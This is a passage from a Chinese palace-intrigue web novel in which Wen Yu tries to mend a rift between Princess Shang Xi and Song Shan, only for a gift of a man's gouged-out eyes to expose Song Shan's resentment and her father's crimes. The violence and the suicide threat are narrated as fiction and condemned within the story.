章执无视了温余带着火药味的话,向前了几步,“三日后来首辅府,她找你。”
她?温余只愣了一瞬便反应过来是宋拿云。
她正打算再问,章执却转身就走。
来也匆匆,去也匆匆,像是来通知的。
温余见章执走远,渐渐松开了握成拳的手,抬手一看只见一排深深的指甲印子嵌在手掌之中。
89. 决裂(四)
由于皇后今日外出不在,那掌事的嬷嬷似乎也是为了省事,只给温余布置了几篇礼记部分就放她去休息了。
结束了课业,温余回到屋中看着窗外有些枯败的院景,看了好一会儿她又带着一个小包袱出了门。
她没有乘马车,借着采购之名一路来到了绍王府后门。
她小心翼翼地推开门进去,来到启蛰的院子前,启蛰正在院子中练剑,感受到有人来他下意识地拿剑刺向来人,在看到来人是温余后,双目忽的放大,硬是在空中将剑转了个弯刺进砖缝里。
铮的一声响后,启蛰收了剑,他看向温余眼中满是期冀,“你怎么过来了?”
温余将小包袱拿下来递给启蛰,道:“自然是来看看你,我之前去见过贺大人了,他很担心你的。”
启蛰翻包袱的手一顿,“什么?!那大人他怎么样?有没有受伤?有没有被人欺负啊?”
温余见他这样子,觉得若是贺扶在肯定是要笑的,然后说:我又不是个孩子,还怕被人欺负不成?
“你笑什么?究竟有没有被人欺负?”
温余轻咳一声收起笑,“他说一切都好,叫你不用担心。”
启蛰扁扁嘴,嘟囔着:“什么一切都好?我才不信呢。”
“对了,你拿这些珠宝过来做什么?”启蛰点了点,足足有一大包。
温余道:“给你花啊,反正我在宫里也用不着。”
启蛰嘴巴张得老大,“你偷的?”
温余一巴掌拍在启蛰头上,启蛰捂着脑袋怒视温余,她解释道:“你才是小偷,这是我赚来的。”
“皇后娘娘和我喜欢我雕得那些小东西,每雕一个她便赏我些东西,攒了很多天就攒了这些。”
启蛰点点头,很快又摇摇头,把包袱塞回温余怀里,“不行,我不能拿。”
温余觉得怪,问他为什么,谁知他别过脸去,耳尖还有些微微的红,他轻咳一声道:“因为……我不想拿你的东西,这样显得我很……”
结巴了半晌,他没把剩下的话说出来,转而道:“反正我在这里有的吃穿,用不了这些。”
温余抱臂看着他,他被盯得双颊发烫,喂喂两声,“老看着我做什么?”
“行了行了,你和我还客气什么?之前抢我钱买吃的的时候没见你这么不好意思。”
“那能一样吗?那是之前我们都有钱,而且贺大人也……”
启蛰双唇抿成一条直线,“反正我不能要,你拿回去吧。”
“你不会以为我给你这些只是单纯的心疼你吧?”温余强硬地将包袱塞回去,轻声道,“我让你出去住,至少不要住在这里。”
“什么?”启蛰愣了一下。
温余道:“我有些担心,他们总会找到你的,若是你的去处被别人知道,终究会有把柄落在别人手上,所以我给你这些是想让你偷偷找个地方,先躲起来。”
“躲?”启蛰声调都拔高了,“我为什么要躲?若是那些个人敢来灭我的口,我让他们竖着进来横着出去!”
“你就不怕他们人多势众?双拳不敌四手啊!”
“怕什么?就算是我要死,我也要带几个混蛋和我一起死!……啊!”启蛰捂着脑袋,“你打我做什么?”
温余语重心长地道:“别老把死放在嘴边,谁想你死啊?不许死!”
“你就出去躲一段时间,只要我那边有情况我就给你消息,到时候我们一起救贺大人出来。”温余拍拍他的脑袋,柔声道,“你就暂且把你同归于尽的英雄气概放一放,我们慢慢来。相信我。”
启蛰被这么摸着头竟少见的没有反抗,过了很久,他迟疑着道,“你……好像有点不一样了。”
温余挑眉,“我就知道我变漂亮了!”
启蛰白了她一眼,打下她的手,“自恋,谁说这个啊!”
“那哪里不一样了?”
温余跟着启蛰坐下,启蛰拿起桌上的帕子仔细地擦着剑。
“就是觉得,你好像说话的火气小了很多,之前我们每次一说话就都会吵起来,不知道什么时候,你和我说话的时候,竟然越来越像……长辈了。”
长辈两个字启蛰的声音很小,似乎是不愿意被温余占便宜一样,但温余还是听到了,她笑了,“是吗?那是因为我年纪比你大,本身就是你的长辈啊!”
“我呸!就两岁,两岁!”启蛰怒气冲冲地道。
“不是你先说的吗?”温余忍俊不禁,“好了,我刚刚说的话你可都清楚了?”
启蛰擦剑的动作慢了下来,“嗯,我会小心的。”
温余松了口气,“那就好,我就先走了,找了借口才出来找你的,时间久了就不好解释了。”
启蛰点点头,“那你也……小心一点。”
“知道了,我可不像你。”
温余走远向着启蛰摆摆手,启蛰站在原地目送她离开。
合上剑鞘,他看向那桌上装满金银的包袱。
希望下一次见面,是三个人重聚。
……
温余顺路买了些东西回到坤宁宫中,而她刚刚将东西送到膳房,凳子都没坐热便听屋外传来宫人的叫喊。
“温姑娘温姑娘,不好了不好了!”小丫鬟快步跑进来,额角还带着汗珠。
温余立刻站起身来,“怎么了?”
小丫鬟拉住温余的手带着她往外走,“刚刚,刚刚六公主她……”
见她这么着急,温余顺了顺她的背,道:“慢慢说别着急。”
小丫鬟稳了稳气息,带着哭腔道:“是六公主,六公主她要……自尽!”
“什么?!”温余皱起眉来,想起早上的事情,她不得不怀疑着和宋衫有关系。
“你带路,在哪里?”
温余跟着那小丫鬟快步往尚熙处跑,到了地方,只见尚熙站在凳子上,房梁还挂着一道白绸。她用手拽着白绸,底下的宫人们都担心的看着她,还怕她摔了伸出手来接着她。
“你们都别过来,再过来我就吊死在这里!”她挥着一只手,想要驱散周围的宫人。
温余问那丫鬟原因,那丫鬟叹了口气,“是六公主要见陛下,可陛下今日在接待且末的使臣,抽不出身来。所以六公主说若是见不到陛下就去死。”
温余看着上方哭哭啼啼地尚熙一股无奈的感觉从心底升起,她走上前先让周围的宫人安静些,随后在她的注视下停在离她五步的地方。
“六公主先不要激动,你寻陛下过来是要做什么?”
尚熙垫着脚双手抓住白绸,鼻子抽了几下
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后对温余道:“你不是说要按照安乐的心思做吗?我想找父皇来,把那婚约给取掉。”
“那也不能这么着急啊,陛下此时有要事在身,你可以先等一会儿。”温余柔声劝道。
尚熙摇着头,“我不要,衫儿一刻不理我,我就觉得难受,不就是且末的使臣吗?有什么重要的?竟然要父皇连我都不见!”
“涉及国事,自然重要,若是你心急我便陪你一起前去,但唯一的要求是,你要安静,听我的。”温余道。
尚熙垂下眼来思索了一会儿,随后在众人的搀扶下缓缓走下凳子来,站在温余面前,“我凭什么听你的?”
“那就请六公主答应我,不要在宴会还未结束前,冲进殿内,不要冲撞他人。”温余道。
尚熙似乎还要再说,但温余道:“若是您真的想让安乐郡主理你的话。”
宋衫在尚熙面前果真好用,她只犹豫了一瞬后便重重点头,“好。”
离开前,那刚刚来叫温余过来的小宫女凑近了她,压低声音道:“真的没问题吗?”
温余点了点头让她放心,“涉及安乐郡主,她会听话的。”
……
温余带着尚熙来到殿外等着,殿内丝竹之声不停,觥筹交错。
殿外,温余从别处给尚熙搬来了椅子让她坐着,自己则坐在台阶上等着。
但这一等还没等到殿内宴席结束,便等来了一个不该出现在这里的人。
“羌白?”鬼鬼祟祟的身影闯入温余视野,她轻轻叫了一声。
尚熙也回过头去看来人。
羌白伸出一根手指竖在唇前,示意她不要出声。
“你不是应该在殿内吗?”温余也压低声音。
羌白勾着腰来到温余面前,他道:“我睡迟了,没赶上。”
温余看看殿内又看看羌白,想着人怎么能捅出这么大的篓子。
羌白目光瞥到了尚熙,奇怪道:“你眼睛好红。”
尚熙立刻摸了摸自己的眼睛,应该是刚刚哭了的原因。
“我……要你管。”
被尚熙这么一吼,羌白也不恼,而是继续笑着露出洁白的牙齿,一双眸子如草原上一眼入心的星辰,尚熙轻轻愣了一下。
他在怀里掏了掏,掏出一个油纸包递给她,道:“甜的,不会哭了。”
尚熙颇为嫌弃的接过来,打开一看竟是一包蜜饯。
她最不爱吃这玩意儿,太腻了。
“不要!”尚熙将油纸包甩会羌白怀里。
羌白有些疑惑,但只是失望地看向温余。
温余被他水盈盈这么一盯,颇为尴尬。
“没事,她吃不惯这个。”温余解释道。
羌白点点头,但眼底的失望没能彻底散下去。
这时,一个老伯从殿内走出,看到羌白时上来就给他一掌。
用着十分流利快速的且末语,似乎是在数落着他。
羌白挠着头接受,随后他便被那老伯连拉带拽地拉进殿内。
温余侧身去看,只见他坐在位置上,左看看右看看,最后以迅雷不及掩耳之势从怀中的油纸包中拿出一块蜜饯送进嘴里。
随后露出一个幸福的表情。
温余嘴角抽了抽,这人怎么能呆成这样?
90. 决裂(五)
那日宴席结束后,尚熙便去寻圣上说了宋衫的婚事。圣上一边说着什么君子一言、圣喻难改,但最后还是带着笑成全了她的要求。
果真是宠爱啊……
不过这样也好,自从那日后尚熙和宋衫的关系似乎也缓和了不少,既有婚事取消的缘故,还有尚熙真诚的向宋衫道歉的缘故。
虽然不知道她会不会真的有所改变,但宋衫还是点了头。毕竟和她彻底闹掰,对宋衫对歌阳侯府都不是一件好事。
温余也乐得清闲,每日看看两人四处散布赏园也是悠然得很。
直到初雪那日,温余为查清楚案子奔波了许久,再加上雪天路滑便少见的没有外出。
一大早,她穿上冬衣向尚熙的寝宫走去,路上遇到了行礼的宫人,她也是十分有礼得体的回礼。
尚熙的寝殿内染着暖烘烘的地龙,温余走进殿内倒是体验了一把冰火两重天的感觉。
只见尚熙趴在贵妃榻上,手里抱着一个盒子神神秘秘地看着,面上还带着笑。
温余猜测她许是又得了什么好玩的东西,真宝贝着。
宫人的行礼声将尚熙的思绪拉回,她将盒子盖好看向温余,“你怎么来了?”
温余在尚熙的招呼下坐在她身边,这些日子以来,尚熙收敛了些骄纵蛮横的性子,竟是让人觉得可爱起来,一带着红晕的小脸埋在狐裘毯子中,竟是越发惹人怜爱。
“我是来借你的园子一用的。”
“园子?”尚熙园子多得两只手都数不过来,温余这么一说竟是让她一时不知道要借哪个园子。
温余将她脸边的狐裘往下理了理,以免那毯子给尚熙脸上捂出汗来。
“是种了柿子树的那个园子。”
尚熙爽快道:“当然可以,你随便借,那些园子都没什么用。不过……你借园子做什么?”
温余见她狐疑的表情,忍不住伸手捏了捏她的脸,见她皱眉才轻笑一声将手收回,“今日初雪日,我打算做些好吃的东西。”
“好吃的东西?”尚熙坐起身来似乎很是感兴趣,“什么山珍海味我没吃过?你要做什么好吃的?”
“你可听说过暖锅?”
“暖锅?”尚熙歪了歪头,道,“不知道,那是什么?”
温余猜想她也不知道,毕竟这小公主最是喜欢精致小巧的东西,像暖锅这样许多人围坐食用的东西她应该不常见,她解释道:“就是用铜锅加调味,然后煮菜和肉之类的,你要不要一起来?”
“那能好吃吗?”尚熙有些迟疑。
温余信然地点头,“当然,你试试就知道了。热气腾腾、暖烘烘的,最适合落雪的时候吃了。”
尚熙又犹豫了一会儿后点点头,“那我也要去!还要叫上衫儿,正巧我最近有礼物要送给她。”
“礼物?是你刚刚拿着的小盒子?”温余道。
尚熙将那盒子拿起,“当然,不过我现在还不能告诉你,保密!”
许是些珠宝首饰之类的吧!温余笑笑,“那好,我这就去准备,你派人去找安乐郡主。”
“好!”尚熙眉眼弯弯。
……
暖锅最重要的是调味,正巧有前些日子她外出买的东西,正好能用。
至于用来煮的肉菜之类,尚熙派人特地送来了。
什么鹿肉、羊羔肉、虾、鱼……应有尽有,这简直是温余吃过对为豪华的一顿暖锅了。
柿子园,顾名思义种了许多的柿子树。一个个橙黄的柿子沉甸甸地挂在枝头,时不时有几只圆滚滚的灰雀团凑近轻啄,竟有些画中景色的模样。
暖锅中飘起的热气升上半空,然后被吹过的微风弯曲四散。
锅边三人围坐。
温余在一旁看着锅里的东西有没有熟,尚熙像树枝上的那几只鸟雀一般小嘴不停,只不过鸟雀是为了吃,尚熙则是为了和宋衫说话。
宋衫很少搭话,还是和以前一样默默听着身边之人乐此不疲的闲聊。
她端起茶杯饮了一口,神色忽然一变。
尚熙没有注意,继续自说自话。宋衫放下茶杯伸手示意尚熙闭嘴。
“这茶是……?”宋衫看向温余。
温余一手拿着筷子将锅中冒头的蔬菜按下,一手拢着袖子。见宋衫问起,便轻轻一笑,“如何?好喝吗?”
宋衫闻言又酌一口,这次细细品味了一番后点头道:“好喝。”
尚熙听她说好喝便立刻端起茶杯往嘴里送,未曾想这茶刚刚一进嘴边烫得她一个激灵,身边的宫人立刻上前来用手借住她吐出的茶水。
“这是什么茶?”宋衫问。
温余指了指一旁枝头挂着的柿子,道:“用柿子做的,我叫它柿柿如意。”
“柿柿如意?”宋衫轻笑一声,“好名字,不知是如何做的?”
“先将柿果剥皮,然后放入钵中捣至软烂,再准备尚好的桂花白茶与这柿浆放在一起,为去除柿子苦涩的味道,再加上些煮好的糖水,这便做出来了。”
听完温余的话,尚熙道:“为何我没喝出甜味?”
“心急不光吃不了热豆腐,还喝不了热茶!”温余调笑道。
尚熙撇撇嘴,再次端起茶杯轻轻吹了吹才入口,这一次她倒是尝到了味道,开心地眯起眼,“好喝!我日后每日都要喝!”
“不可以!”温余道,“柿子不可多食,会生病的。”
尚熙吞了吞口水,看向温余带着指责的目光轻轻哦了一声。
“而且柿子还不能与海鲜之类同用,所以你送来的那些海味,我今日可都没有放。”
“啊?”尚熙这次脸垮得更厉害,“早知道就不喝这个了。”
说罢,她拿起筷子,眼巴巴看着铜锅内翻滚的肉块,“现在可以吃了吗?”
温余点点头,“可以了,吃吧。”
三人动筷,暖意渐渐从铜锅内传入三人身上。
一盏茶的时间,尚熙便觉得热了,她想将外面披着的棉氅脱下却在半路被温余按了回去。
“小心着凉。”
“可是我热!”尚熙反驳道。
“先缓一会儿再吃,暖锅就是要慢慢吃的,
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像你这般急头白脸,不热才怪!”温余放下筷子上前帮她将大氅的带子系好。
“你真烦人!像嬷嬷一样!”尚熙嘴一下子扁了起来。
温余看她这样子,忽然觉得自己像一个照顾不省心的孩子的婆子。
见温余叹了口气,宋衫也放下了筷子,“不要脱,当心生病。”
听到宋衫终于主动同自己说了句话,尚熙眼睛都亮了,立刻凑到宋衫面前,欣喜道:“衫儿你终于理我了!你还是关心我的对不对?”
这一动作,温余原本还在帮她整理领口的手被悬在了半空,清脆的一声响,那个被尚熙像宝贝一样抱着怀里的盒子掉在了地上,盖子被摔开,露出了一条雪白的流苏。
温余蹲下身捡起,对尚熙道:“你的东西掉了。”
尚熙也回过头,从温余手中接过盒子,仔细看了许久确定里面的东西没事后才松了口气。
“这是什么?”宋衫道。
尚熙笑得灿烂,“是送给衫儿的礼物!”
说着,她将那东西拿了出来,只见雪白的流苏上串着两颗晶莹剔透的珠子,似玉又似琥珀,从温余的视角看只能看到一团白,不知正面刻了什么图案。
“如何?喜不喜欢?我之前听你说你喜欢……”
尚熙带着骄傲的介绍还未说完,宋衫便猛得站起身来,桌上的暖锅因为这突如其来的动作摇晃起来,见锅内的汤要洒出来,温余下意识地伸手去扶,却被烫得倒吸一口凉气。
身侧守着的宫人也反应过来上前整理桌上的残骸。
温余却顾不上这桌子了,只见宋衫瞳孔骤缩,看着有些奇怪的宋衫,眼中似是恐惧,又带着不可置信。
她往后退了好几步,直到撞到朱红色的柱子。
“你走什么?这是礼物……”尚熙似乎想要挽留,但宋衫伸出手来挡在中间。
她额角渗出汗来,呼吸也变得急促。几个呼吸后,她双眼一黑就要倒下,却落入一个带着暖意的怀抱。
“你怎么了?先缓一缓。”温余摸了摸她的额头,冰得可怕,脸也是。
尚熙也担忧地叫着。
“你别过来!”宋衫大吼道,在场的众人几乎没有一个人见过她这幅样子。
一直以来,宋衫总是温婉的、得体的,讲话虽然带着冷意但也是柔柔,何时这般吼叫过。
温余觉得怪,刚刚还好好的,怎么突然就变成这样了?
好像是从尚熙拿出礼物之后……
念此,温余才抬眼去看尚熙拿在手里的东西。
刚刚捡起来的时候她没有去看,毕竟是尚熙准备给宋衫的礼物,万万没有她先看的道理。
但这一看,温余却愣住了。
那流苏上串着的珠子哪里是她猜想的什么白玉!那剔透琥珀间封着的,是两个眼珠子。
——人的眼珠子。
那双眼,太明显了。几乎是温余看一眼便能认出来的程度,晶莹剔透、黄琥珀般的浅色,在阳光的照射下,似乎还有着待在主人眼眶中的水润。
那,是羌白的眼睛。
91. 决裂(六)
尚熙,将羌白的眼睛挖下来,串上流苏当做送给宋衫的礼物。
当温余脑内整理出这样的结果时,她揽着宋衫肩膀的手已经渐渐变得冰冷。
“你为什么会……”
“我那日听到衫儿说那人的眼睛好看,所以我才命人去将那人的眼睛取下,送给衫儿当赔礼。”尚熙看着脸色已经变得苍白的宋衫,满是不解,“怎么了吗?”
“那你把他怎么样了?”
前些日子还笑着与自己说话的人,今日却只见他的一双眼睛,也不知晓他的安危,温余感受到怀中的宋衫连呼吸都变得费力,于是双手轻轻顺着她的背。
尚熙脸上还是不解,“他?不知道啊,去取了他的眼睛就将他留在屋中了,而且前些日子有一批且末人回去了,他应该也是跟着那些人回去了吧。”
温余死死盯着尚熙,做出这般让人胆寒的事情,她的脸上却没有半分嗜血和残忍,反倒是一脸的天真,仿佛她只是取了一件喜爱的珍宝,而不是从一个人身上拿下来的东西一般,这样的表情不由让温余回想起很久之前在赌场时的她。
天真,但可以眼睁睁看着一条人命在眼前消失,甚至可以主导那人的命。
这时,温余才忽然发觉,为何外表还是言语举止都看起来那般稚子天真的尚熙她却觉得有些异样,原来这样的天真中隐藏着的,是一种残忍。
一种不知道自己在做什么,对别人的伤害有多大,但是依旧随心的,天真的残忍。
“到底怎么了?衫儿你不是说喜欢吗?我……”
尚熙将羌白的眼睛放回盒子中,想上前查看,宋衫却忽然从温余怀中挣扎出来,迎上尚熙便伸手一甩。
一声清脆的响声后,周遭的所有人的愣住了,就连枝头叽叽喳喳的小雀都停顿了一瞬。
在鸟雀扑腾着翅膀声音中,尚熙一张白净的小脸上很快浮现出一个掌印来,那般用力,竟让人怀疑宋衫这般孱弱的闺中女子竟也能有这般大的力气。
“你为什么打我?”尚熙甚至都没有来得及捂脸,只是愣愣地道。
“因为我讨厌你。”宋衫淡淡道,没有人能听出她此刻的感情。
她将自己的感情隐藏的太好了,犹如这么多年来对尚熙暗暗的殷勤一般。
忽得晴天霹雳,让尚熙脑内一阵轰鸣,“为什么?你为什么讨厌我?你讨厌我为什么还要救我?为什么还要和我做朋友?”
宋衫深吸一口气,拂开温余想要阻止的手,向前走了几步直直对上尚熙的眼睛。
反正打都打了,她也没什么好演戏的了。
“我就是讨厌你,从第一眼见到你救讨厌你,从你把别人的爱宠扒皮做毯子的时候我就讨厌你。你以为你能被这么多人求着爱着是因为什么?不过是因为你有一个好爹娘,你以为我为什么要救你?为什么要去拦住那匹马?”
说着,宋衫掀开了自己的袖子,将它挽至肩膀处。
一只胳膊上崎岖不平,还夹杂着暗黄色的痂,这完全就不像一个娇生惯养姑娘家的胳膊。
“这样的伤口不止这些,还有腿上,腰上,那里都是……你以为我救你是因为想和你做朋友吗?不是。”宋衫几乎是要将这些年积攒的所有怨恨都发泄出来,“我从一开始就是带着目的的,我要歌阳侯府站起来,我只能讨好你。若你不是帝后的女儿我连看你一眼都不惜的。”
“我想走,想离开这里。离开你,离开我父亲,离开每一个约束我的人!我好不容易找到了办法,我一个未出阁的姑娘,又是送礼又是关切,好不容易让他答应了我带我一起走,可是你呢!你毁了这些,你都毁了!”
“所以,我讨厌你……我讨厌死你了……”
温余又一次拉住了宋衫,想让她闭嘴却被她用力甩开,“我讨厌你,恨不得你去死!”
“放肆!”一声怒喝从不远处传来,宋衫很熟悉,那是她的父亲。
她缓缓转过头,只见园中雪地上站着的不止有歌阳侯还有皇帝皇后和一众宫人。
他们不知是何时来的,只是静静地听着她这么多年积攒下的怨恨。
歌阳侯大步冲上来,狠狠给了宋衫一巴掌。
宋衫被大力一挥竟直接撞上了柱子,有血缓缓从乌发间留下。
歌阳侯一介武将,看他那架势几乎是用了七成力气,也不知这一撞撞得有多狠。
“六公主,都是小女荒唐冲撞了您,是小的教女无方,小的定会惩罚她,小的这就惩罚她……”
说着,歌阳侯扯住一旁宋衫的头发,又给了她一掌,“小的给您赔礼了。”
一声声清脆的响声在园中回荡,园中没有一个人上前阻拦,也没有一个人上前阻拦,因为皇帝正在不远处看着,他眼中的情绪不明,不知是怒是静。
宋衫则像一个破败的布娃娃一般,没有表情,没有挣扎。
最后,还是尚熙弱弱地一声,“别……别打了。”
但她的声音很小,被掩盖在掌掴声下。
“够了!”
歌阳侯的胳膊忽得被人抓住,他抬头,一双赤红的眼竟让人不敢直视。
“你再打下去她会死的。她是你的女儿,不是你泄愤的工具。”温余道。
“她出言不逊,该罚。”歌阳侯也知温余是嘉亲王府的人自然不敢与她为恶。
温余将宋衫从他的腿边拉出来,宋衫轻轻道了一声,“此事和你无关。”
温余只是轻轻扫了她的一眼,没有回答她,接着看向歌阳侯,“该罚?要罚女儿不该是带回府中以正规家法处置吗?在这里掌掴又是为何?是为了你说的惩罚,还是做给其他人看的?”
这一问,歌阳侯沉默了。
温余接着道,“还有,你惩罚到底是罚她出言不逊,还是因为你的谋算被她戳破了,你就不敢在陛下面前做什么了……而且,安乐郡主方才说的若属实,那又是谁在背后指使她欺骗六公主的感情呢?”
“诶呀呀,好难猜啊。”温余眯了眯眼,眼前的歌阳侯明显慌了。
温余乘胜追击,“若真是这般,那欺骗六公主的罪过不该是你歌阳侯吗?作为背后的授意人,你不该受罚吗?
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子不教,父之过,这么说,也该罚你不是吗?你若是真有悔过之意,那应该打你自己,而不是对毫无反抗之力的安乐郡主下手。”
歌阳侯双腿发颤,缓缓在尚熙面前跪下,“小的绝无此意,望六公主开恩呐,饶了小的吧……”
尚熙没有给他一个眼神,只是继续望着宋衫。
最后,她转而向一般的皇帝皇后跑去。
她一头埋进皇后怀中,忍不住哽咽道:“母后……”
皇后一边哄着她,一边在亭中扫了一眼,“我先带熙儿去找太医。”
见两人离开,皇帝才抬脚向亭中走来,他站在不断发抖的歌阳侯前,居高临下的看着他,眼中似乎还带着笑意。
“既如此,温卿说的你可认了?”
这声音很轻,像是一位循循诱导的先生,却不由让歌阳侯发寒,“臣、臣下,认,但出口不逊的是小女,臣下绝无忤逆之意,望陛下明见。”
这话说得倒是把问题全部归咎到宋衫宋衫身上了,还真是好父亲。
皇帝却轻笑一声,“方才温卿不是说过,子不教,父之过。歌阳侯觉得,朕该如何罚你呢?”
“臣下、臣下……”
见歌阳侯半晌说不出一句话来,皇帝挥了挥手,隐藏在人群中的尚卿穿过人群递上一个册子。
皇帝接过,轻轻扔在他面前,激起了一些微尘。
“既这一桩罪行你想不出来该如何罚,那再加上这些呢?”
歌阳侯看了地上的册子,几乎是一眼便明白了这东西是什么。
“陛下,陛下饶命啊,饶命啊……”
“饶命?那你倒是说说这些年拨去歌阳的米粮都去哪儿了?以及,与商勾结,私自制盐,这又该怎么罚?”
歌阳侯没想到皇帝查得这般清楚,顿时连求饶的力气都没有了,只是趴在地上,如同被踩烂在地的枯枝败叶一般。
只是嘴里还不停念着,饶命。
“既如此,那便按照律法处置吧,拖下去。”
等侍卫将歌阳侯拖走后,皇帝又道:“既然歌阳侯教女无方的罪罚过了,那就该审一审安乐郡主出言不逊的罪了。”
嘴里说的是宋衫,但皇帝的目光却看向了低着头的温余。
温余心下一颤,完了,耍得小聪明被发现了。
方才她将问题引到了歌阳侯管教无方上,但宋衫确实是最尚熙恶语相向,还那般严重,只是歌阳侯担心自己受牵连慌了神,可皇帝是聪明人啊……
“那温卿觉得应该怎么办?”
又是这个问题,温余捏紧了衣角,“臣认为……”
认为了半晌,温余也没能说出什么来,正当她打算破罐子破摔直接跪下求饶的时候皇帝忽得发话了,“哈哈哈,朕这次便不为难温卿了,安乐郡主的罪,便交给熙儿日后定夺吧!”
“你们这些年轻人之间的事情,还是你们这些年轻人自己解决。”
皇帝笑得爽朗,临走前还拍了拍尚卿的肩膀,看向温余道:“好姑娘,但小聪明能耍一时,可用不了一世啊……”
92. 决裂(七)
他,没生气?不对,是他没有生宋衫的气?
温余愣在原地,直到听到身边窸窸窣窣的声音响起才回过神来,转头看去见宋衫正艰难地从地上往起来爬。
“你慢些,我来帮你。”
温余想握住她的胳膊将她扶起来,但还未触碰到她得皮肤,那坑坑洼洼的胳膊便让她迟疑了一瞬。虽然她知道那伤口过了很久怕是早就没有感觉了,但潜意识里还是觉得会疼。
帮尚熙挡马,身体被马生生踏过去,那得有多疼?
也难怪尚熙这般重视她了,能对自己舍命相救的人,怎么能不重视?只是,这表达喜爱的方式却是有些偏了,所以才会变成现在这样……
温余避开那些伤口,揽着她的肩膀以一个近乎于抱的方式将她扶起。
站起来的那一瞬间,温余感到她的身体僵了一瞬,一看,原来是她透过那铜锅看到了自己如今的模样。
头发被抓乱,珠钗斜插,脸上是错落的巴掌印,嘴角还有些许血污。
只看了一眼,她便移开了眼睛。
“温姑娘,我能借你的外衫一用吗?”
温余当然知道她要做什么,这样的仪容要在宫内行走,定会被人注视,歌阳侯府再怎么落魄她也贵为郡主,怎能这般狼狈地行走在宫中供人评说?
温余几乎是想都没想就伸手去脱自己身上的大氅,但一只骨节分明的手按住了她。
尚卿不知何时已经将自己大红的棉氅脱下搭在臂弯里,他冲宋衫将臂弯展开,道:“用我的吧。”
“多谢。”宋衫也顾不得男女之防了,接过棉氅便转身离去。
尚卿却忽然叫住了她,“如果没有容身之处,可以来找我。”
宋衫脚步一顿,没有回头继续往前走去。
恰巧一颗已经被小雀掏空的柿子从枝头摔落,砸在雪地中发出一声闷响,宋衫的背影寂寂,就算是大红也无法让她多一分颜色。
她好像渐渐变成灰色了,像未被雪色沾染的石板地一样。
“你又多管闲事了。”尚卿道。
温余轻轻叹了一声,“没办法……”
但尚卿却忽得笑了,“不过你这次管的闲事不算太差。”
“是因为歌阳侯吧?”温余猜到了。
尚卿点点头,“陛下早就想端了歌阳侯了,这次召歌阳侯过来就是因为此事,但直接说却有些鸿门宴的意思便想着放一放,正好,你组了一个好局。”
“我本意不是如此,我也没想到……”她本是想着放松,顺便让宋衫和尚熙两人能缓和一些,没想到好心办了坏事,竟是这样的一个结果。
“我当然知道,只是感叹一句很巧罢了……”
尚卿的声音轻轻地,但出奇的在雪地咯吱咯吱的声响中没有被掩盖过去。
“但我奇怪的是,陛下竟没有罚安乐,他不是最为疼爱尚熙吗?怎么会放任旁人这般出言不逊?”
方才皇帝的意思竟是没有对宋衫的惩罚,只是借此机会扳了歌阳侯,对尚熙却连一句关心都没有?逃奇怪了。
尚卿轻笑了一声,“疼爱的是她吗?疼爱的是皇后的母族啊……我之前不是说过了吗,朝堂之上是没有真心的。”
温余的步子忽得顿住了,她侧目看了尚卿半晌,“你的意思是……”
这时她也忽得想明白了,看皇帝方才的意思,他怎会不知宋衫接近尚熙另有目的?但还是放任不管,一来是因为要借此机会收集歌阳侯的证据,二来便是对他而言,尚熙根本算不得重要。
皇后除过尚熙外别无所出,他只要做做样子,尚熙想要什么好东西就给她,让所有人都觉得他与皇后伉俪情深,就算皇后所出非皇子也能将她视作珍宝,这般皇后母族也说不了什么话。
但实际上,尚熙于他而言,同其他皇嗣完全没有差别。
尚卿点头,“自然。公主嘛,又不参与争权夺位,又没有什么顾忌,只要做做样子好好养着,闲事可以逗弄逗弄,若是有什么外敌,便将养得白净的公主送去,求和,不战而平,拉拢势力,多轻松啊!”
走在朱红的宫墙之间,温余头一次觉得窒息压迫。
这一堵堵墙之间处处都门,每一扇门都开着,但每一扇门背后都是一个牢笼,困住一个人,让她永远也飞不出去,蹉跎一生。
长公主也是,尚熙也是,大家都是……
温余不禁道:“为什么呢?尚熙不是他的孩子吗?”
“像她这样的孩子,他现在有二十几个,日后还会有更多。”尚卿轻飘飘地道。
“可是……”温余还是想不通,但尚卿很快就给出了答案,“第三遍,朝堂之上,没有真心。”
温余沉默了,隔了半晌,她才抬头去看那长得仿佛没有尽头的路,厚厚的雪层已经被宫人扫开了,前方的路仿佛畅通无阻。
“走吧。”她道。
……
回到坤宁宫中,温余站在寝殿门口,推开门屋内的热气拍打在脸上,原本冻得发红的双颊迎上这热气一瞬间竟觉得有些胀痛。
她没有直接进去,而是转身看向站在不远处的尚卿,道:“你还有事吗?”
尚卿负手站着,摇摇头,“没事,你进去吧。”
温余搞不懂他要干什么,也没有心情想了,她真的很累,好想休息一会儿。
于是,她走进房间关上门,一切归于寂静。
雪不知何时已经停了,但屋檐枝头还是时不时会有落下来的雪块,雪块落地的声音给这寂静的院中添了一点生气。
不久后,房门被从里面打开了。
温余拿出一件带着狐裘的鹅黄披风,走到尚卿面前递给他,道:“没有找到其他合适的,你就将就一下吧。”
尚卿没有接过,而是眉眼弯起来,“关心我?是不是说明,你有一点喜欢我了?”
“你不用骗自己。”
温余淡淡的一句,尚卿缓缓收回了笑,转过身,“不需要,我又不是娇气小姑娘,这点冷冻不死。”
见他潇洒离去,温余也没有挽留,转身回到屋内抱着暖炉坐在塌上发呆,发着呆不知何时她就睡着了。
等她再一次醒来时窗外便已是浓浓夜色。
她活动活动发麻的手臂脖颈,怀中的暖炉也不知何时变得冷冰冰的。
噗呲一声,屋外传来的声响让她放置暖炉的手一顿。
她飞快开了门,
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果真不出所料,来人是宋衫。
是已经换好了衣裳,一身素净的宋衫。
没有珠钗宝石,没有鲜研锦缎,但却让人移不开眼睛,素色的,像雪又像月。
清水出芙蓉,仿佛她本就该是这幅模样。
宋衫抱着红色的棉氅,将她递给温余,“我本是想还给嘉亲王但夜已深,男女有别不是很方便,只好来找你了。”
温余接过棉氅,侧身引她进来。
宋衫坐在贵妃榻上,温余本想为她倒一杯茶,奈何桌上的茶已经凉了,只能坐在她身旁看着她。
“我很快就要随我父亲去流放了。”宋衫轻轻道。
温余皱了皱眉,“陛下不是说要让六公主做主吗?”
“我要求的,我不想再见她了。”宋衫道。
温余犹豫了一会儿,还是道:“其实,六公主对你是真心的,只是用错了方法。”
宋衫唇角疲惫地勾起,“我知道。”
“那你呢?这么多年了,你真的像你白日说的那样,恨不得她去死?”温余道。
宋衫沉默了,隔了许久就当温余认为她不会回答时,她忽得开口了,“不是,我只是不想再演下去了,早晚会有这么一天的,但是我害了人……”
“我这次,害了人……他不该变成这样的,我明知道尚熙是怎么样的的人,但还是拉他过来,我害了他……”
宋衫颤抖起来,“我太自私了,我不是喜欢他,我只是想借着他的势力让我离开这个地方,可是我没想到、我没想到……”
